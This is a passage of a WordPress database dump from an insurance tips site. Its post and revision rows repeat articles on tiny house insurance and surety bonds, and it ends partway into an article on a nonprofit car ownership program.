history</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your credit history</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-50\">RV policies generally tend to be more expensive than mobile home insurance because the former protects the home while it’s in transport—which puts the home at a much greater risk than if it were simply parked somewhere. And, of course, the cost also depends on the coverage limits and deductible you choose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Important:</strong> If you plan to rent out a tiny house, be sure to discuss your options with an insurance representative. You may need a different type of policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-54\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-55\">Tiny house living isn’t for everyone, but those who embrace it can enjoy benefits such as a lower cost of living, the freedom to move and try out new places, a smaller carbon footprint, and the ability to get off the grid. Just remember to research and buy a good insurance policy to protect your home—and your lifestyle—before you start enjoying your tiny house.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/tiny-house-insurance-how-to-insure-your-tiny-home-5074333\">click here.</a></p>\n<!-- /wp:paragraph -->','Tiny House Insurance: How to Insure Your Tiny Home','','publish','closed','closed','','tiny-house-insurance-how-to-insure-your-tiny-home','','','2024-02-28 21:04:11','2024-02-28 21:04:11','',0,'https://smartinsurance.tips/?p=3876',0,'post','',0),(3877,1,'2024-02-28 21:01:13','2024-02-28 21:01:13','','Untitled-16','','inherit','closed','closed','','untitled-16','','','2024-02-28 21:01:13','2024-02-28 21:01:13','',3876,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-16.png',0,'attachment','image/png',0),(3878,1,'2024-02-28 21:04:11','2024-02-28 21:04:11','<!-- wp:paragraph -->\n<p>Get the coverage you need to protect your lifestyle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3877,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-16-1024x1024.png\" alt=\"\" class=\"wp-image-3877\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Tiny houses are gaining in popularity across the U.S—after all, these miniature homes are affordable, energy efficient, and easy to maintain. Plus, they offer a simpler lifestyle, with no room for clutter or things you don’t need (Marie Kondo would be proud).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Even though tiny houses are, well, tiny, they can still cost tens—or even hundreds—of thousands of dollars, so it’s a good idea to protect your investment with a good insurance policy. Here’s what you need to know about insurance for your tiny home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Tiny houses are usually between 100 and 400 square feet.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You can insure a tiny house, but the type of policy you buy depends on how the house was built and how you use the home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It’s a good idea to think about insurance before you build a tiny house, so you know which options you’ll have.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-6\">What Is a Tiny House?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">A tiny house is exactly what it sounds like: a really small house. While there are no official size limits, tiny houses tend to be between 100 and 400 square feet. By comparison, the median size of newly constructed single-family homes in 2020 was 2,333 square feet, according to data from the U.S. Census Bureau.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-9\">Tiny houses are either homes on wheels (and, therefore, moveable) or stationary. This distinction—along with how you use the home—determines the type of insurance you need.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-11\">RV Insurance for Tiny Houses</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-12\">RV insurance may be the right choice if your tiny house is on wheels and you plan to move around frequently because it covers your home while it’s parked and during transport. As RV insurance is designed for travelers, it includes provisions that some of the other options don’t—namely, collision coverage. To qualify for RV insurance, the tiny house must meet standards from the Recreational Vehicle Industry Association (RVIA).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-14\">Basic RV policies typically include these types of coverage:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-16\"><!-- wp:list-item -->\n<li><strong>Collision—</strong>This kicks in if your tiny house is damaged in an accident with an object or another vehicle, regardless of fault.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Comprehensive—</strong>Also known as “other than collision,” this covers events beyond your control, such as theft, vandalism, fire, falling objects, weather-related incidents, and collisions with animals.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Liability—</strong>It helps to pay for property damages and injuries that you cause.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Uninsured/underinsured motorist—</strong>This covers you if your tiny home is hit by someone with no insurance or not enough insurance. It helps pay for damages to your tiny home, personal injuries, and lost wages if you can’t work.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Personal property—</strong>As the name implies, this covers your personal property in the event that it’s lost, damaged, or destroyed.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Medical payment—</strong>This helps cover medical bills for you and your passengers if your tiny house is in an accident.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Warning:</strong> If you use your tiny house as a full-time residence, be sure to buy a “full-timer’s” policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-20\">Not all insurance companies offer the same lineup of coverage options, so review your policy to make sure it provides the coverage you need. If it doesn’t, fill in the gaps with endorsements or a separate policy. For example, if your policy doesn’t cover personal liability, you could get a cheap renter’s insurance policy to cover both your personal property and your personal liability.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-22\">Mobile Home Policies for Tiny Houses</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">If you plan to move your tiny house just a couple of times a year (or not at all), and it’s built by a NOAH-certified builder, a mobile (or manufactured) home insurance policy might be your best bet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-25\">A comprehensive mobile home insurance policy is similar to standard homeowners insurance—it covers the home, your personal property, and liability claims. However, unlike RV insurance, mobile home insurance doesn’t cover the home or your belongings while your tiny house is in transport.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-27\">For that, you’ll need a transit endorsement. The policy must be in place before you transport your tiny house, which means you must inform your insurance company before you plan to move so it can update your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">Another option for mobile home insurance is a named peril policy. These are comparatively inexpensive policies that cover specific causes of loss named in the policy—and nothing else. This means that if your tiny house is damaged by a peril not listed in the policy, the cost of any repairs will come out of your pocket. Thus, while you can save money with a named peril policy, it may not be worth the added risks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Fast Fact:</strong> <em>Mobile home insurance may cover water leaks in certain situations; however, most policies don’t cover damage caused by any water leaks that are due to a lack of maintenance.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-33\">Tiny House Insurance Specialists</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">There are a handful of small companies that offer tiny-house–specific coverage—and that number will likely increase, given the growing popularity of tiny homes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">These companies generally offer coverage for any traditional or alternative living structures, including DIY units, off-the-grid cabins, micro homes, storage container homes, park models, custom RVs, and accessory dwelling units (ADUs). Some companies offer tiny house construction insurance, and most will insure tiny houses that aren’t built to RVIA standards or haven’t been certified by NOAH.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">As these companies are tiny house–specific, they tend to offer the most options and greatest flexibility. It might take a little back and forth with a representative, but you should be able to get the exact coverage you need for your tiny home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-40\">Do I Need Insurance for My Tiny House?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-41\">If you used a mortgage or other loan to finance your tiny house, your lender might require you to buy insurance (the same way lenders do for traditional homes and cars). And if you transport your tiny home, most states require you to have liability coverage—just as for a regular RV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-43\">Otherwise, there’s no legal requirement for you to insure your tiny house. Still, a tiny house is a serious investment, so it makes financial sense to protect it with a good insurance policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-45\">How Much Does Tiny House Insurance Cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-46\">There’s no set price for tiny house insurance. It depends on numerous factors, including:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-48\"><!-- wp:list-item -->\n<li>Your tiny home’s construction, size, value, and RVIA/NOAH status</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The value of your personal belongings</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>How you plan to use the home (e.g., parked in a tiny house community or on the road 52 weeks a year)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The coverage you want, including any extras, such as a trip endorsement</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your claims history</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your credit history</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-50\">RV policies generally tend to be more expensive than mobile home insurance because the former protects the home while it’s in transport—which puts the home at a much greater risk than if it were simply parked somewhere. And, of course, the cost also depends on the coverage limits and deductible you choose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Important:</strong> If you plan to rent out a tiny house, be sure to discuss your options with an insurance representative. You may need a different type of policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-54\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-55\">Tiny house living isn’t for everyone, but those who embrace it can enjoy benefits such as a lower cost of living, the freedom to move and try out new places, a smaller carbon footprint, and the ability to get off the grid. Just remember to research and buy a good insurance policy to protect your home—and your lifestyle—before you start enjoying your tiny house.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/tiny-house-insurance-how-to-insure-your-tiny-home-5074333\">click here.</a></p>\n<!-- /wp:paragraph -->','Tiny House Insurance: How to Insure Your Tiny Home','','inherit','closed','closed','','3876-revision-v1','','','2024-02-28 21:04:11','2024-02-28 21:04:11','',3876,'https://smartinsurance.tips/?p=3878',0,'revision','',0),(3879,1,'2024-02-28 21:06:06','2024-02-28 21:06:06','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3880,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-18-1024x1024.png\" alt=\"\" class=\"wp-image-3880\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>If your small business involves contracts with clients, you may be required to have a surety bond, which protects your client for if you do shoddy work. A surety bond can also cover fraud and allegations of theft committed by your employees. There are several different types of bonds that apply to various types of small businesses, such as janitorial bonds, bid bonds, performance bonds and payment bonds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While not technically insurance, a bond also covers your client if they claim your business did not fulfill its contractual obligations. For example, if your client says your work was incomplete and insufficient, they can file a claim with the surety company for the cost to hire another company to finish the work properly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Does Bond Insurance Work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A surety bond is a contract between three parties:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Principal:</strong>&nbsp;The business purchasing the bond.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Obligee:</strong>&nbsp;The client requesting the bond.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Surety:</strong>&nbsp;The company that underwrites the bond.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If your client files a claim (such as one for poor workmanship), the surety company will reimburse your client and your business must pay back the surety company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if your painting business buys a surety bond at the request of your client and the client claims your work was insufficient and shoddy, the client can file a claim with the surety company for the cost of hiring another painting company to re-do and finish the work. Your painting business will need to pay back the surety company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What’s the Difference Between Insurance and a Bond?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While a bond is not an insurance policy, you may hear the term “bonded and insured.” That’s referring to two separate things:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Insured</strong> means that you purchased business liability insurance. It’s a form of small business insurance that covers your business for accidental property damage and injuries to others. General liability insurance claims cover costs, such as medical expenses, repairs for damaged property and your legal costs if you get sued over a problem that’s covered by your insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Bonded</strong>&nbsp;means that you purchased a surety bond to cover your business against claims, such as fraud, theft and incomplete or poor workmanship. Bond claims are paid to your client.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Many large clients require their business partners to be bonded and insured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What Does Bond Insurance Not Cover?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Bonds are designed to cover your client for problems like incomplete or poor workmanship. Here are examples of claims that aren’t covered by bonds:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Accidental injuries and property damage to others. That’s covered by your general liability insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A worker gets hurt or injured during a project. That’s covered by your workers’ compensation insurance.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Benefits of Bond Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A bond can help boost legitimacy if you have a small business that does work for others. It assures customers that the work will be completed, and if your work is insufficient, your clients won’t be left holding a large bill for poor work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some clients require a bond before they’ll do business with you. Without one, you might lose out on a job.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Categories of License and Permit Bonds</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A license and permit bond is a type of bond that guarantees a business adheres to federal, state and local regulations and industry standards. There are four categories of license and permit bonds:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Compliance bonds</strong>&nbsp;guarantee your business will perform work in accordance with the law. For example, a municipality that requires an electrician to comply with local building codes.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Financial guarantee bonds</strong>&nbsp;guarantee payment of fees or taxes. For example, an alcohol tax bond guarantees that state taxes for the sale of alcoholic beverages will be paid.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Public protection bonds</strong>&nbsp;cover the public from financial losses due to fraud and unfair dealings. For example, a mortgage broker bond will repay a client if their mortgage company fails to provide accurate information about a loan.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Public safety bonds</strong>&nbsp;cover the public from financial loss due to physical damage, such as a post-road bond in case an oversized or heavy load causes road damage. These types of bonds are also called indemnity bonds.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When Do Small Businesses Need Bond Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Small businesses may need bond insurance for reasons such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A client requires a bond.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your industry requires it.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You must comply with federal, state or local laws.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>For example, if you own a cleaning business, a client may require you to have a janitorial bond in addition to your cleaning business insurance. Another example would be a license and permit bond in addition to contractors insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Where to Get an Insurance Bond</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can buy an insurance bond for a small business from:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Business insurance companies.</strong>&nbsp;For example, Travelers insurance sells several types of bonds, including bid, performance and payment bonds, and license and permit bonds.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Surety bond companies.</strong> The Small Business Administration provided this list of surety bond companies. You can also check this list of certified companies from the U.S. Bureau of the Fiscal Service.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><br>To read the full article, <a href=\"https://www.forbes.com/advisor/business-insurance/bond-insurance/\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Bond Insurance?','','publish','closed','closed','','what-is-bond-insurance','','','2024-02-28 21:06:06','2024-02-28 21:06:06','',0,'https://smartinsurance.tips/?p=3879',0,'post','',0),(3880,1,'2024-02-28 21:05:06','2024-02-28 21:05:06','','Untitled-18','','inherit','closed','closed','','untitled-18-3','','','2024-02-28 21:05:06','2024-02-28 21:05:06','',3879,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-18.png',0,'attachment','image/png',0),(3881,1,'2024-02-28 21:06:06','2024-02-28 21:06:06','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3880,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-18-1024x1024.png\" alt=\"\" class=\"wp-image-3880\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>If your small business involves contracts with clients, you may be required to have a surety bond, which protects your client for if you do shoddy work. A surety bond can also cover fraud and allegations of theft committed by your employees. There are several different types of bonds that apply to various types of small businesses, such as janitorial bonds, bid bonds, performance bonds and payment bonds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While not technically insurance, a bond also covers your client if they claim your business did not fulfill its contractual obligations. For example, if your client says your work was incomplete and insufficient, they can file a claim with the surety company for the cost to hire another company to finish the work properly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Does Bond Insurance Work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A surety bond is a contract between three parties:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Principal:</strong>&nbsp;The business purchasing the bond.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Obligee:</strong>&nbsp;The client requesting the bond.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Surety:</strong>&nbsp;The company that underwrites the bond.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If your client files a claim (such as one for poor workmanship), the surety company will reimburse your client and your business must pay back the surety company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if your painting business buys a surety bond at the request of your client and the client claims your work was insufficient and shoddy, the client can file a claim with the surety company for the cost of hiring another painting company to re-do and finish the work. Your painting business will need to pay back the surety company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What’s the Difference Between Insurance and a Bond?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While a bond is not an insurance policy, you may hear the term “bonded and insured.” That’s referring to two separate things:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Insured</strong> means that you purchased business liability insurance. It’s a form of small business insurance that covers your business for accidental property damage and injuries to others. General liability insurance claims cover costs, such as medical expenses, repairs for damaged property and your legal costs if you get sued over a problem that’s covered by your insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Bonded</strong>&nbsp;means that you purchased a surety bond to cover your business against claims, such as fraud, theft and incomplete or poor workmanship. Bond claims are paid to your client.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Many large clients require their business partners to be bonded and insured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What Does Bond Insurance Not Cover?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Bonds are designed to cover your client for problems like incomplete or poor workmanship. Here are examples of claims that aren’t covered by bonds:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Accidental injuries and property damage to others. That’s covered by your general liability insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A worker gets hurt or injured during a project. That’s covered by your workers’ compensation insurance.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Benefits of Bond Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A bond can help boost legitimacy if you have a small business that does work for others. It assures customers that the work will be completed, and if your work is insufficient, your clients won’t be left holding a large bill for poor work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some clients require a bond before they’ll do business with you. Without one, you might lose out on a job.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Categories of License and Permit Bonds</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A license and permit bond is a type of bond that guarantees a business adheres to federal, state and local regulations and industry standards. There are four categories of license and permit bonds:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Compliance bonds</strong>&nbsp;guarantee your business will perform work in accordance with the law. For example, a municipality that requires an electrician to comply with local building codes.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Financial guarantee bonds</strong>&nbsp;guarantee payment of fees or taxes. For example, an alcohol tax bond guarantees that state taxes for the sale of alcoholic beverages will be paid.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Public protection bonds</strong>&nbsp;cover the public from financial losses due to fraud and unfair dealings. For example, a mortgage broker bond will repay a client if their mortgage company fails to provide accurate information about a loan.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Public safety bonds</strong>&nbsp;cover the public from financial loss due to physical damage, such as a post-road bond in case an oversized or heavy load causes road damage. These types of bonds are also called indemnity bonds.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When Do Small Businesses Need Bond Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Small businesses may need bond insurance for reasons such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A client requires a bond.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your industry requires it.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You must comply with federal, state or local laws.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>For example, if you own a cleaning business, a client may require you to have a janitorial bond in addition to your cleaning business insurance. Another example would be a license and permit bond in addition to contractors insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Where to Get an Insurance Bond</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can buy an insurance bond for a small business from:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Business insurance companies.</strong>&nbsp;For example, Travelers insurance sells several types of bonds, including bid, performance and payment bonds, and license and permit bonds.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Surety bond companies.</strong> The Small Business Administration provided this list of surety bond companies. You can also check this list of certified companies from the U.S. Bureau of the Fiscal Service.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><br>To read the full article, <a href=\"https://www.forbes.com/advisor/business-insurance/bond-insurance/\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Bond Insurance?','','inherit','closed','closed','','3879-revision-v1','','','2024-02-28 21:06:06','2024-02-28 21:06:06','',3879,'https://smartinsurance.tips/?p=3881',0,'revision','',0),(3883,1,'2024-03-22 15:14:13','2024-03-22 15:14:13','<!-- wp:paragraph -->\n<p>For many, a car isn\'t a luxury but a necessity. The Vehicles for Change program suggests that subsidized loans may be a solution.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3884,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-7-1024x1024.png\" alt=\"\" class=\"wp-image-3884\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Mornings were mayhem back when Donna, then a 32-year-old mother of small children, was carless. She had to wake up her kids at 5 a.m. to get them to school via public transportation.&nbsp;&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“I’m like, ‘Kids, hit the granola bar,’ ” she told a researcher in an interview for a paper published last year in the Journal of Planning Education and Research. “Let’s roll.” </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That changed after Donna, who was identified by first name in the paper, connected with the nonprofit organization Vehicles for Change (VFC), which describes itself as the nation’s largest affordable car ownership program. Since 1999, VFC has provided more than 7,000 cars, trucks, and minivans to low-income carless households throughout Maryland, Virginia, and Washington, D.C.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For most people in the U.S., having a car is a necessity, not a luxury. But affording one is also a stretch for many people or poses such a financial burden that taking out a loan becomes a risk of its own. And the people who face the 